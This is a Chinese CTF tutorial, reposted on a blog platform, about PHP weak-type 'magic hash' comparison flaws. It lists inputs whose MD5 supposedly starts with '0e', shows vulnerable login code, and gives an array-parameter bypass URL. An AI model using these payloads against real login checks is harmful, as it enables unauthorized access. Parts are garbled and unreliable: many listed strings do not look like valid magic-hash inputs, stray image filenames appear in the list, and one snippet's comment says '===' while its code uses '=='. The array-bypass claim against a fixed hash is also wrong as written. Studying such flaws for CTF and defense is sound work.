pwdhash.php,PHP弱类型hash比较缺陷

成因分析:

== 在进行比较的时候,会先将两边的变量类型转化成相同的,再进行比较

0e在比较的时候会将其视作为科学计数法,所以无论0e后面是什么,0的多少次方还是0。

因此CTF比赛中需要用到弱类型HASH比较缺陷最明显的标志便是管理员密码MD5之后的值是以0e开头

利用方法:

由漏洞成因我们可以分析出: 只要让我们输入的密码在经过函数加密之后是以0e开头即可

附上一部分md5加密之后是以0e开头的值:

8f900a89c6347c561fdf2122f13be562.png

961ddebeb323a10fe0623af514929fc1.png

ej0D

ek06

el08

eo0n

ey0M

ey0O

ez0s

e006

e10l

eU3Z

eW3vfSoL

fToh

fTo1

fUoU

fYou

fapF

fbpf

fdpF

fnpZ

fppr

fqpa

frpj

fwpD

fyp5

f1p2

f4pN

f7pu

fDpQ

fHpP

fIp4

fJpX

fLpv

fOpi

fQp3

fTpi

fVpz

feqN

fjqN

fvq1

fyqy

fAqJ

fEqk

fFqg

fFqi

fHqX

fIqF

fKqh

fLq6

fQq6

fQqA

fRql

fUq4

fUqA

fXq0

farg

farJ

ftrT

f7rm

fCrB

fErY

fIrt

QNKCDZO

s878926199a

s155964671a

s214587387a

s214587387a

s878926199a

View Code

例题示范:

$a = $_POST['pwd'];

$password = "0e1998badb934bce65ad9ba8facc9121"; //注意:这里管理员密码md5的值是以0e开头的,如果没有看到0e而直接去解md5九成是解不出来的

if(md5($a) == $password){ //注意:这里是两个等号"=="进行判断,若是"==="则不存在弱类型hash比较缺陷

echo $flag;

}

?>

在已知管理员密码md5值是以0e开头的前提下,观察代码逻辑,如果是使用"=="判断即可直接传入md5值是0e开头的任一密码

若是"==="判断,则可以通过数组返回NULL的方法来绕过

如下代码:

$a = $_GET['pwd'];

$password = "0e1998badb934bce65ad9ba8facc9121";

if(md5($a) == $password){ //注意:这里是三个等号"==="进行判断

echo $flag;

}

?>

传入www.target.com/login.php?pwd[]=1就可以成功绕过判断。

这样的方法也可以用来绕过sha1()等hash加密函数相关的判断,也可以绕过正则判断

标签:PHP,hash,密码,开头,0e,加密,绕过,缺陷,md5

来源: https://www.cnblogs.com/icecoke/p/12232075.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值